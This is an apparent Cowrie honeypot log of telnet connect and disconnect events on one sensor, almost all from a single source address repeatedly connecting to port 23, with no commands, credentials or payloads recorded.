{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52228,"dst_ip":"10.17.0.5","dst_port":23,"session":"c42f6b745213","protocol":"telnet","message":"New connection: 198.50.122.223:52228 (10.17.0.5:23) [session: c42f6b745213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:40.388674Z"}
{"eventid":"cowrie.session.closed","duration":31.20120644569397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:40.474677Z","src_ip":"198.50.122.223","session":"652160b2b2ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52748,"dst_ip":"10.17.0.5","dst_port":23,"session":"0316ad4e04b0","protocol":"telnet","message":"New connection: 198.50.122.223:52748 (10.17.0.5:23) [session: 0316ad4e04b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:40.508293Z"}
{"eventid":"cowrie.session.closed","duration":31.119978427886963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:40.528000Z","src_ip":"198.50.122.223","session":"b3395e75daab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53192,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf128b953046","protocol":"telnet","message":"New connection: 198.50.122.223:53192 (10.17.0.5:23) [session: cf128b953046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:40.565991Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54484,"dst_ip":"10.17.0.5","dst_port":23,"session":"b406fdb6600b","protocol":"telnet","message":"New connection: 198.50.122.223:54484 (10.17.0.5:23) [session: b406fdb6600b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:40.745310Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57092,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b15601b23b0","protocol":"telnet","message":"New connection: 198.50.122.223:57092 (10.17.0.5:23) [session: 8b15601b23b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:41.407444Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52572,"dst_ip":"10.17.0.5","dst_port":23,"session":"33866e319bcd","protocol":"telnet","message":"New connection: 198.50.122.223:52572 (10.17.0.5:23) [session: 33866e319bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:41.483504Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58666,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9c4ee5fbb73","protocol":"telnet","message":"New connection: 198.50.122.223:58666 (10.17.0.5:23) [session: c9c4ee5fbb73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:41.662529Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60486,"dst_ip":"10.17.0.5","dst_port":23,"session":"603534ef70cb","protocol":"telnet","message":"New connection: 198.50.122.223:60486 (10.17.0.5:23) [session: 603534ef70cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:41.960723Z"}
{"eventid":"cowrie.session.closed","duration":31.108297109603882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:42.249584Z","src_ip":"198.50.122.223","session":"8312b7a90722","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.193309545516968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:42.326024Z","src_ip":"198.50.122.223","session":"6ad3dfdbada8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64673352241516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:42.363359Z","src_ip":"198.50.122.223","session":"4bab49509a94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.395752906799316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:42.456710Z","src_ip":"198.50.122.223","session":"79261c3226c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.35.229","src_port":34816,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2c3d0555d16","protocol":"telnet","message":"New connection: 50.6.35.229:34816 (10.17.0.5:23) [session: a2c3d0555d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:42.819122Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36608,"dst_ip":"10.17.0.5","dst_port":23,"session":"d94dbe66058a","protocol":"telnet","message":"New connection: 198.50.122.223:36608 (10.17.0.5:23) [session: d94dbe66058a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:42.865743Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37620,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce404df2a1ac","protocol":"telnet","message":"New connection: 198.50.122.223:37620 (10.17.0.5:23) [session: ce404df2a1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:43.130804Z"}
{"eventid":"cowrie.session.closed","duration":30.628064393997192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:43.312707Z","src_ip":"198.50.122.223","session":"1bd2895375c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38928,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3cee5421340","protocol":"telnet","message":"New connection: 198.50.122.223:38928 (10.17.0.5:23) [session: e3cee5421340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:43.453310Z"}
{"eventid":"cowrie.session.closed","duration":31.452873468399048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:43.526317Z","src_ip":"198.50.122.223","session":"66dce68d3728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91119384765625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:43.729156Z","src_ip":"198.50.122.223","session":"f70eaf16d6d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40754,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ac15a42058e","protocol":"telnet","message":"New connection: 198.50.122.223:40754 (10.17.0.5:23) [session: 0ac15a42058e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:43.740861Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41144,"dst_ip":"10.17.0.5","dst_port":23,"session":"cca7a91e9597","protocol":"telnet","message":"New connection: 198.50.122.223:41144 (10.17.0.5:23) [session: cca7a91e9597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:43.802933Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41982,"dst_ip":"10.17.0.5","dst_port":23,"session":"89995ab6eb7c","protocol":"telnet","message":"New connection: 198.50.122.223:41982 (10.17.0.5:23) [session: 89995ab6eb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:43.974227Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42378,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba39ee70703a","protocol":"telnet","message":"New connection: 198.50.122.223:42378 (10.17.0.5:23) [session: ba39ee70703a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:44.115175Z"}
{"eventid":"cowrie.session.closed","duration":31.095118284225464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:44.402627Z","src_ip":"198.50.122.223","session":"c622e5a22d13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56058144569397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:44.726011Z","src_ip":"198.50.122.223","session":"df6c857d1ca0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47036,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f93c1d30105","protocol":"telnet","message":"New connection: 198.50.122.223:47036 (10.17.0.5:23) [session: 2f93c1d30105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:45.117065Z"}
{"eventid":"cowrie.session.closed","duration":30.810083150863647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:45.128057Z","src_ip":"198.50.122.223","session":"76a0525f65c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47199034690857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:45.209683Z","src_ip":"198.50.122.223","session":"ffb8c3dd5bae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47520,"dst_ip":"10.17.0.5","dst_port":23,"session":"46f9a8a8f710","protocol":"telnet","message":"New connection: 198.50.122.223:47520 (10.17.0.5:23) [session: 46f9a8a8f710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:45.280325Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48438,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae32d744471f","protocol":"telnet","message":"New connection: 198.50.122.223:48438 (10.17.0.5:23) [session: ae32d744471f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:45.454928Z"}
{"eventid":"cowrie.session.closed","duration":9.037070512771606,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:45.558130Z","src_ip":"185.26.126.47","session":"7158ceb03cf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49642,"dst_ip":"10.17.0.5","dst_port":23,"session":"78a7ef56952b","protocol":"telnet","message":"New connection: 198.50.122.223:49642 (10.17.0.5:23) [session: 78a7ef56952b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:45.680441Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49848,"dst_ip":"10.17.0.5","dst_port":23,"session":"b87bd56c8028","protocol":"telnet","message":"New connection: 198.50.122.223:49848 (10.17.0.5:23) [session: b87bd56c8028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:45.702077Z"}
{"eventid":"cowrie.session.closed","duration":31.157666206359863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:46.260385Z","src_ip":"198.50.122.223","session":"728d6fefc771","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.231505155563354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:46.318283Z","src_ip":"198.50.122.223","session":"6ce91834df0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52490,"dst_ip":"10.17.0.5","dst_port":23,"session":"14410f0e305e","protocol":"telnet","message":"New connection: 198.50.122.223:52490 (10.17.0.5:23) [session: 14410f0e305e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:46.363157Z"}
{"eventid":"cowrie.session.closed","duration":30.489168882369995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:46.386006Z","src_ip":"198.50.122.223","session":"ce13ca743868","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53246,"dst_ip":"10.17.0.5","dst_port":23,"session":"c32fad6896bc","protocol":"telnet","message":"New connection: 198.50.122.223:53246 (10.17.0.5:23) [session: c32fad6896bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:46.454000Z"}
{"eventid":"cowrie.session.closed","duration":31.356335163116455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:46.604877Z","src_ip":"198.50.122.223","session":"f924673c26b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.293274879455566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:46.644042Z","src_ip":"198.50.122.223","session":"66016502feab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83199119567871,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:47.468385Z","src_ip":"198.50.122.223","session":"a69c11a937d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128101587295532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:47.549145Z","src_ip":"198.50.122.223","session":"4c8d4f2a8408","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58954,"dst_ip":"10.17.0.5","dst_port":23,"session":"06fe1176b5b8","protocol":"telnet","message":"New connection: 198.50.122.223:58954 (10.17.0.5:23) [session: 06fe1176b5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:47.634604Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56276,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e2b3e7472ab","protocol":"telnet","message":"New connection: 198.50.122.223:56276 (10.17.0.5:23) [session: 2e2b3e7472ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:48.017386Z"}
{"eventid":"cowrie.session.closed","duration":30.93492603302002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:48.180310Z","src_ip":"198.50.122.223","session":"df9b54875f6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33380,"dst_ip":"10.17.0.5","dst_port":23,"session":"80e196406ea6","protocol":"telnet","message":"New connection: 198.50.122.223:33380 (10.17.0.5:23) [session: 80e196406ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:48.339539Z"}
{"eventid":"cowrie.session.closed","duration":31.07681393623352,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:48.426605Z","src_ip":"198.50.122.223","session":"11587a37dc52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33207941055298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:48.509195Z","src_ip":"198.50.122.223","session":"fe64a655bfef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094162225723267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:48.535987Z","src_ip":"198.50.122.223","session":"54e02081728a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.637256860733032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:48.555491Z","src_ip":"198.50.122.223","session":"a94e73a72a91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.289214849472046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:48.609581Z","src_ip":"198.50.122.223","session":"63d13bde96a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35450,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ec61f225e4d","protocol":"telnet","message":"New connection: 198.50.122.223:35450 (10.17.0.5:23) [session: 6ec61f225e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:48.697354Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35908,"dst_ip":"10.17.0.5","dst_port":23,"session":"1684c9bc0d8b","protocol":"telnet","message":"New connection: 198.50.122.223:35908 (10.17.0.5:23) [session: 1684c9bc0d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:48.801659Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36102,"dst_ip":"10.17.0.5","dst_port":23,"session":"68d84265a4d9","protocol":"telnet","message":"New connection: 198.50.122.223:36102 (10.17.0.5:23) [session: 68d84265a4d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:48.838063Z"}
{"eventid":"cowrie.session.closed","duration":31.670958995819092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:48.924704Z","src_ip":"198.50.122.223","session":"5a1326c79509","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.029709815979004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:49.085147Z","src_ip":"198.50.122.223","session":"1c17ed967dd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.453909635543823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:49.198670Z","src_ip":"198.50.122.223","session":"e1d0230030a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37564,"dst_ip":"10.17.0.5","dst_port":23,"session":"563b66e7b302","protocol":"telnet","message":"New connection: 198.50.122.223:37564 (10.17.0.5:23) [session: 563b66e7b302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:49.260043Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37730,"dst_ip":"10.17.0.5","dst_port":23,"session":"cee2b055f2e6","protocol":"telnet","message":"New connection: 198.50.122.223:37730 (10.17.0.5:23) [session: cee2b055f2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:49.313510Z"}
{"eventid":"cowrie.session.closed","duration":31.33566689491272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:49.429310Z","src_ip":"198.50.122.223","session":"ffe207426baf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.568655014038086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:49.853439Z","src_ip":"198.50.122.223","session":"7da1d816ba18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.665194511413574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:49.956460Z","src_ip":"198.50.122.223","session":"6d11d3001507","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.514176845550537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:50.115945Z","src_ip":"198.50.122.223","session":"989153936b64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41858,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd4f55afba3b","protocol":"telnet","message":"New connection: 198.50.122.223:41858 (10.17.0.5:23) [session: dd4f55afba3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:50.173070Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42204,"dst_ip":"10.17.0.5","dst_port":23,"session":"d56ba97bfa67","protocol":"telnet","message":"New connection: 198.50.122.223:42204 (10.17.0.5:23) [session: d56ba97bfa67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:50.279170Z"}
{"eventid":"cowrie.session.closed","duration":31.13090682029724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:50.304279Z","src_ip":"198.50.122.223","session":"f4560be1a7ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892598390579224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:50.471150Z","src_ip":"198.50.122.223","session":"44c5ee62b94a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.187898874282837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:50.482475Z","src_ip":"198.50.122.223","session":"bd624491a3d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.204947471618652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:50.505931Z","src_ip":"198.50.122.223","session":"8a9beb3952fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.399479150772095,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:50.636111Z","src_ip":"198.50.122.223","session":"b33d678dd4a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.468376874923706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:50.890268Z","src_ip":"198.50.122.223","session":"d186ae5332dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085803508758545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:50.946116Z","src_ip":"198.50.122.223","session":"ee77975d830e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46036,"dst_ip":"10.17.0.5","dst_port":23,"session":"e93b1685b213","protocol":"telnet","message":"New connection: 198.50.122.223:46036 (10.17.0.5:23) [session: e93b1685b213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:51.046807Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46168,"dst_ip":"10.17.0.5","dst_port":23,"session":"4223aabaddeb","protocol":"telnet","message":"New connection: 198.50.122.223:46168 (10.17.0.5:23) [session: 4223aabaddeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:51.113120Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46796,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba1288848555","protocol":"telnet","message":"New connection: 198.50.122.223:46796 (10.17.0.5:23) [session: ba1288848555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:51.299381Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47186,"dst_ip":"10.17.0.5","dst_port":23,"session":"10d9e387d25d","protocol":"telnet","message":"New connection: 198.50.122.223:47186 (10.17.0.5:23) [session: 10d9e387d25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:51.374764Z"}
{"eventid":"cowrie.session.closed","duration":30.445445775985718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:51.412599Z","src_ip":"198.50.122.223","session":"a02249f8ea39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.053638696670532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:51.570261Z","src_ip":"198.50.122.223","session":"cb4d211b000f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11296272277832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:51.575003Z","src_ip":"198.50.122.223","session":"ace41770b6a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48122,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f0cc3186153","protocol":"telnet","message":"New connection: 198.50.122.223:48122 (10.17.0.5:23) [session: 4f0cc3186153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:51.579346Z"}
